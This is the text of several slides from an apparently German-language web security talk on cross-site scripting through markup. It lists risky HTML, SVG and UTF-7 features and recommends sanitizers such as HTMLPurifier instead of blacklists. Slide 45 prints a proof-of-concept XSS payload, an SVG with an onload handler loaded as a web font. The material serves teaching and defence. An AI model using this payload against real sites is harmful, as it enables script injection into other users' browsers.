  • 40. 40 Schlussfolgern wir...  Labels sind böse – besser gesagt die FOR Attribute...  IDs sind böse  HTML Header Injections sind böse  Styles – sind... na? Böse!  Fehlende Doctypes auch  Inline SVG ist böse – externes SVG auch
  • 41. 41 Weiterhin böse sind...  Tags wie NOEMBED und NOAPPLET  Firefox  Firefox  Und wieder Firefox und sein proprietärer, schlecht kopierter Feature-Müll  Oncopy/Onpaste/Oncut Events  UTF7 CSS, UTF7 XBL etc... - UTF7 ist generell einfach nur böse
  • 42. 42 Daher...  WYSIWYG niemals ohne HTMLPurifier oder AntiSamy  Kenne Dein Markup!  Setze Deine Header!  Nutze die MDC https://developer.mozilla.org/En  Verlasse Dich niemals auf Blacklists!  Niemals!
  • 43. 43 Und vergessen wir nicht...  ...was uns droht  XML ohne Namespaces - OMFG!  Stripped Doctypes  Azubis und Praktikanten  Management Lunatics  HTML 5 Madness  OBJECT Tag als Multitalent  SVG Fonts...
  • 45. 45 Ach ja, danke Trident 2.2! <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"></svg> <html> <head> <style type="text/css"> @font-face { font-family: xss; src: url(test.svg#xss) format("svg"); } body {font: 0px "xss"; } </style> </head> </html>
  • 46. 46 Vielen Dank!  Fragen?  Mehr Informationen und Beispielcode  http://maliciousmarkup.blogspot.com/  http://code.google.com/p/google-caja/wiki/AttackVectors  http://sla.ckers.org/forum/read.php?2,15812  Toools  http://www.owasp.org/index.php/SpoC_007_-_OWASP_The_Anti-  http://htmlpurifier.org/
  • 47. 47 BUY MYBUY MY BOOK!!1BOOK!!1 OR SOMETHINGOR SOMETHING HORRIBLE WILLHORRIBLE WILL HAPPEN WHILEHAPPEN WHILE YOU SLEEP!!!!!!YOU SLEEP!!!!!!